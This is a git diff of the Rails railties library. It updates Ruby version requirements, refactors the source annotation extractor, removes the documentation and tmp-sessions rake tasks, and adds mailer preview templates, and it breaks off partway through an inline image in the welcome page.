   desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
   abort <<-end_message
 
-    Rails 4 prefers to run on Ruby 2.0.
+    Rails 5 requires to run on Ruby 2.2.0 or newer.
 
     You're running
       #{desc}
 
-    Please upgrade to Ruby 1.9.3 or newer to continue.
+    Please upgrade to Ruby 2.2.0 or newer to continue.
 
   end_message
 end
diff --git a/railties/lib/rails/rubyprof_ext.rb b/railties/lib/rails/rubyprof_ext.rb
deleted file mode 100644
index 017eba3a76..0000000000
--- a/railties/lib/rails/rubyprof_ext.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'prof'
-
-module Prof #:nodoc:
-  # Adapted from Shugo Maeda's unprof.rb
-  def self.print_profile(results, io = $stderr)
-    total = results.detect { |i|
-      i.method_class.nil? && i.method_id == :"#toplevel"
-    }.total_time
-    total = 0.001 if total < 0.001
-
-    io.puts "  %%   cumulative   self              self     total"
-    io.puts " time   seconds   seconds    calls  ms/call  ms/call  name"
-
-    sum = 0.0
-    results.each do |r|
-      sum += r.self_time
-
-      name =  if r.method_class.nil?
-                r.method_id.to_s
-              elsif r.method_class.is_a?(Class)
-                "#{r.method_class}##{r.method_id}"
-              else
-                "#{r.method_class}.#{r.method_id}"
-              end
-      io.printf "%6.2f %8.3f  %8.3f %8d %8.2f %8.2f  %s\n",
-        r.self_time / total * 100,
-        sum,
-        r.self_time,
-        r.count,
-        r.self_time * 1000 / r.count,
-        r.total_time * 1000 / r.count,
-        name
-    end
-  end
-end
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index b806b922b7..9b058a1848 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -18,6 +18,20 @@ class SourceAnnotationExtractor
       @@directories ||= %w(app config db lib test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
     end
 
+    def self.extensions
+      @@extensions ||= {}
+    end
+
+    # Registers new Annotations File Extensions
+    #   SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+    def self.register_extensions(*exts, &block)
+      extensions[/\.(#{exts.join("|")})$/] = block
+    end
+
+    register_extensions("builder", "rb", "rake", "yml", "yaml", "ruby") { |tag| /#\s*(#{tag}):?\s*(.*)$/ }
+    register_extensions("css", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+    register_extensions("erb") { |tag| /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/ }
+
     # Returns a representation of the annotation that looks like this:
     #
     #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
@@ -66,9 +80,8 @@ class SourceAnnotationExtractor
 
   # Returns a hash that maps filenames under +dir+ (recursively) to arrays
   # with their annotations. Only files with annotations are included. Files
-  # with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
-  # +.scss+, +.js+, +.coffee+, and +.rake+
-  # are taken into account.
+  # with extension +.builder+, +.rb+, +.rake+, +.yml+, +.yaml+, +.ruby+,
+  # +.css+, +.js+ and +.erb+ are taken into account.
   def find_in(dir)
     results = {}
 
@@ -78,21 +91,14 @@ class SourceAnnotationExtractor
       if File.directory?(item)
         results.update(find_in(item))
       else
-        pattern =
-            case item
-            when /\.(builder|rb|coffee|rake)$/
-              /#\s*(#{tag}):?\s*(.*)$/
-            when /\.(css|scss|sass|less|js)$/
-              /\/\/\s*(#{tag}):?\s*(.*)$/
-            when /\.erb$/
-              /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/
-            when /\.haml$/
-              /-\s*#\s*(#{tag}):?\s*(.*)$/
-            when /\.slim$/
-              /\/\s*\s*(#{tag}):?\s*(.*)$/
-            else nil
-            end
-        results.update(extract_annotations_from(item, pattern)) if pattern
+        extension = Annotation.extensions.detect do |regexp, _block|
+          regexp.match(item)
+        end
+
+        if extension
+          pattern = extension.last.call(tag)
+          results.update(extract_annotations_from(item, pattern)) if pattern
+        end
       end
     end
 
@@ -115,7 +121,7 @@ class SourceAnnotationExtractor
   # Prints the mapping from filenames to annotations in +results+ ordered by filename.
   # The +options+ hash is passed to each annotation's +to_s+.
   def display(results, options={})
-    options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
+    options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
     results.keys.sort.each do |file|
       puts "#{file}:"
       results[file].each do |note|
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
index af5f2707b1..945fbdb3e2 100644
--- a/railties/lib/rails/tasks.rb
+++ b/railties/lib/rails/tasks.rb
@@ -1,7 +1,8 @@
+require 'rake'
+
 # Load Rails Rakefile extensions
 %w(
   annotations
-  documentation
   framework
   log
   middleware
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
deleted file mode 100644
index 8544890553..0000000000
--- a/railties/lib/rails/tasks/documentation.rake
+++ /dev/null
@@ -1,70 +0,0 @@
-begin
-  require 'rdoc/task'
-rescue LoadError
-  # Rubinius installs RDoc as a gem, and for this interpreter "rdoc/task" is
-  # available only if the application bundle includes "rdoc" (normally as a
-  # dependency of the "sdoc" gem.)
-  #
-  # If RDoc is not available it is fine that we do not generate the tasks that
-  # depend on it. Just be robust to this gotcha and go on.
-else
-  require 'rails/api/task'
-
-  # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
-  class RDocTaskWithoutDescriptions < RDoc::Task
-    include ::Rake::DSL
-
-    def define
-      task rdoc_task_name
-
-      task rerdoc_task_name => [clobber_task_name, rdoc_task_name]
-
-      task clobber_task_name do
-        rm_r rdoc_dir rescue nil
-      end
-
-      task :clobber => [clobber_task_name]
-
-      directory @rdoc_dir
-      task rdoc_task_name => [rdoc_target]
-      file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
-        rm_r @rdoc_dir rescue nil
-        @before_running_rdoc.call if @before_running_rdoc
-        args = option_list + @rdoc_files
-        if @external
-          argstring = args.join(' ')
-          sh %{ruby -Ivendor vendor/rd #{argstring}}
-        else
-          require 'rdoc/rdoc'
-          RDoc::RDoc.new.document(args)
-        end
-      end
-      self
-    end
-  end
-
-  namespace :doc do
-    RDocTaskWithoutDescriptions.new("app") { |rdoc|
-      rdoc.rdoc_dir = 'doc/app'
-      rdoc.template = ENV['template'] if ENV['template']
-      rdoc.title    = ENV['title'] || "Rails Application Documentation"
-      rdoc.options << '--line-numbers'
-      rdoc.options << '--charset' << 'utf-8'
-      rdoc.rdoc_files.include('README.rdoc')
-      rdoc.rdoc_files.include('app/**/*.rb')
-      rdoc.rdoc_files.include('lib/**/*.rb')
-    }
-    Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
-
-    # desc 'Generate documentation for the Rails framework.'
-    Rails::API::AppTask.new('rails')
-  end
-end
-
-namespace :doc do
-  task :guides do
-    rails_gem_dir = Gem::Specification.find_by_name("rails").gem_dir
-    require File.expand_path(File.join(rails_gem_dir, "/guides/rails_guides"))
-    RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
-  end
-end
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index bd4e7c33e0..a1c805f8aa 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -3,7 +3,7 @@ namespace :rails do
   task update: [ "update:configs", "update:bin" ]
 
   desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
-  task :template do
+  task template: :environment do
     template = ENV["LOCATION"]
     raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
     template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
@@ -46,7 +46,7 @@ namespace :rails do
         require 'rails/generators/rails/app/app_generator'
         gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
                                                              destination_root: Rails.root
-        File.exists?(Rails.root.join("config", "application.rb")) ?
+        File.exist?(Rails.root.join("config", "application.rb")) ?
           gen.send(:app_const) : gen.send(:valid_const?)
         gen
       end
@@ -55,7 +55,7 @@ namespace :rails do
     # desc "Update config/boot.rb from your current rails install"
     task :configs do
       invoke_from_app_generator :create_boot_file
-      invoke_from_app_generator :create_config_files
+      invoke_from_app_generator :update_config_files
     end
 
     # desc "Adds new executables to the application bin/ directory"
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
index 6c3f02eb0c..877f175ef3 100644
--- a/railties/lib/rails/tasks/log.rake
+++ b/railties/lib/rails/tasks/log.rake
@@ -10,7 +10,7 @@ namespace :log do
     if ENV['LOGS']
       ENV['LOGS'].split(',')
                   .map    { |file| "log/#{file.strip}.log" }
-                  .select { |file| File.exists?(file) }
+                  .select { |file| File.exist?(file) }
     else
       FileList["log/*.log"]
     end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
index c1674c72ad..735c36eb3a 100644
--- a/railties/lib/rails/tasks/statistics.rake
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -1,6 +1,10 @@
+# While global constants are bad, many 3rd party tools depend on this one (e.g
+# rspec-rails & cucumber-rails). So a deprecation warning is needed if we want
+# to remove it.
 STATS_DIRECTORIES = [
   %w(Controllers        app/controllers),
   %w(Helpers            app/helpers),
+  %w(Jobs               app/jobs),
   %w(Models             app/models),
   %w(Mailers            app/mailers),
   %w(Javascripts        app/assets/javascripts),
@@ -10,12 +14,13 @@ STATS_DIRECTORIES = [
   %w(Helper\ tests      test/helpers),
   %w(Model\ tests       test/models),
   %w(Mailer\ tests      test/mailers),
+  %w(Job\ tests         test/jobs),
   %w(Integration\ tests test/integration),
-  %w(Functional\ tests\ (old)  test/functional),
-  %w(Unit\ tests \ (old)       test/unit)
-].collect { |name, dir| [ name, "#{Rails.root}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
+].collect do |name, dir|
+  [ name, "#{File.dirname(Rake.application.rakefile_location)}/#{dir}" ]
+end.select { |name, dir| File.directory?(dir) }
 
-desc "Report code statistics (KLOCs, etc) from the application"
+desc "Report code statistics (KLOCs, etc) from the application or engine"
 task :stats do
   require 'rails/code_statistics'
   CodeStatistics.new(*STATS_DIRECTORIES).to_s
diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake
index 116988665f..9162ef234a 100644
--- a/railties/lib/rails/tasks/tmp.rake
+++ b/railties/lib/rails/tasks/tmp.rake
@@ -1,9 +1,8 @@
 namespace :tmp do
-  desc "Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)"
-  task clear: [ "tmp:sessions:clear",  "tmp:cache:clear", "tmp:sockets:clear"]
+  desc "Clear cache and socket files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear)"
+  task clear: ["tmp:cache:clear", "tmp:sockets:clear"]
 
-  tmp_dirs = [ 'tmp/sessions',
-               'tmp/cache',
+  tmp_dirs = [ 'tmp/cache',
                'tmp/sockets',
                'tmp/pids',
                'tmp/cache/assets/development',
@@ -12,16 +11,9 @@ namespace :tmp do
 
   tmp_dirs.each { |d| directory d }
 
-  desc "Creates tmp directories for sessions, cache, sockets, and pids"
+  desc "Creates tmp directories for cache, sockets, and pids"
   task create: tmp_dirs
 
-  namespace :sessions do
-    # desc "Clears all files in tmp/sessions"
-    task :clear do
-      FileUtils.rm(Dir['tmp/sessions/[^.]*'])
-    end
-  end
-
   namespace :cache do
     # desc "Clears all files and directories in tmp/cache"
     task :clear do
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 7352d48e7b..5aecaa712a 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -2,7 +2,7 @@
 <html lang="en">
 <head>
   <meta charset="utf-8" />
-  <title>Routes</title>
+  <title><%= @page_title %></title>
   <style>
     body { background-color: #fff; color: #333; }
 
@@ -29,7 +29,7 @@
   </style>
 </head>
 <body>
-<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+
 <%= yield %>
 
 </body>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000000..0b08a01896
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,105 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+  html, body, iframe {
+    height: 100%;
+  }
+
+  body {
+    margin: 0;
+  }
+
+  header {
+    width: 100%;
+    padding: 10px 0 0 0;
+    margin: 0;
+    background: white;
+    font: 12px "Lucida Grande", sans-serif;
+    border-bottom: 1px solid #dedede;
+    overflow: hidden;
+  }
+
+  dl {
+    margin: 0 0 10px 0;
+    padding: 0;
+  }
+
+  dt {
+    width: 80px;
+    padding: 1px;
+    float: left;
+    clear: left;
+    text-align: right;
+    color: #7f7f7f;
+  }
+
+  dd {
+    margin-left: 90px; /* 80px + 10px */
+    padding: 1px;
+  }
+
+  iframe {
+    border: 0;
+    width: 100%;
+  }
+</style>
+</head>
+
+<body>
+<header>
+  <dl>
+    <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+      <dt>SMTP-From:</dt>
+      <dd><%= @email.smtp_envelope_from %></dd>
+    <% end %>
+
+    <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+      <dt>SMTP-To:</dt>
+      <dd><%= @email.smtp_envelope_to %></dd>
+    <% end %>
+
+    <dt>From:</dt>
+    <dd><%= @email.header['from'] %></dd>
+
+    <% if @email.reply_to %>
+      <dt>Reply-To:</dt>
+      <dd><%= @email.header['reply-to'] %></dd>
+    <% end %>
+
+    <dt>To:</dt>
+    <dd><%= @email.header['to'] %></dd>
+
+    <% if @email.cc %>
+      <dt>CC:</dt>
+      <dd><%= @email.header['cc'] %></dd>
+    <% end %>
+
+    <dt>Date:</dt>
+    <dd><%= Time.current.rfc2822 %></dd>
+
+    <dt>Subject:</dt>
+    <dd><strong><%= @email.subject %></strong></dd>
+
+    <% unless @email.attachments.nil? || @email.attachments.empty? %>
+      <dt>Attachments:</dt>
+      <dd>
+        <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %>
+      </dd>
+    <% end %>
+
+    <% if @email.multipart? %>
+      <dd>
+        <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;">
+          <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
+          <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+        </select>
+      </dd>
+    <% end %>
+  </dl>
+</header>
+
+<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000000..c4c9757d57
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000000..607c8d1677
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
index eb620caa00..6726c23fc9 100644
--- a/railties/lib/rails/templates/rails/welcome/index.html.erb
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -19,13 +19,13 @@
       }
 
       a  {color: #03c}
+
       a:hover {
         background-color: #03c;
         color: white;
         text-decoration: none;
       }
 
-
       #page {
         background-color: #f0f0f0;
         width: 750px;
@@ -57,21 +57,21 @@
         padding-right: 30px;
       }
 
-
       #header {
         background-image: url(data:image/png;base64,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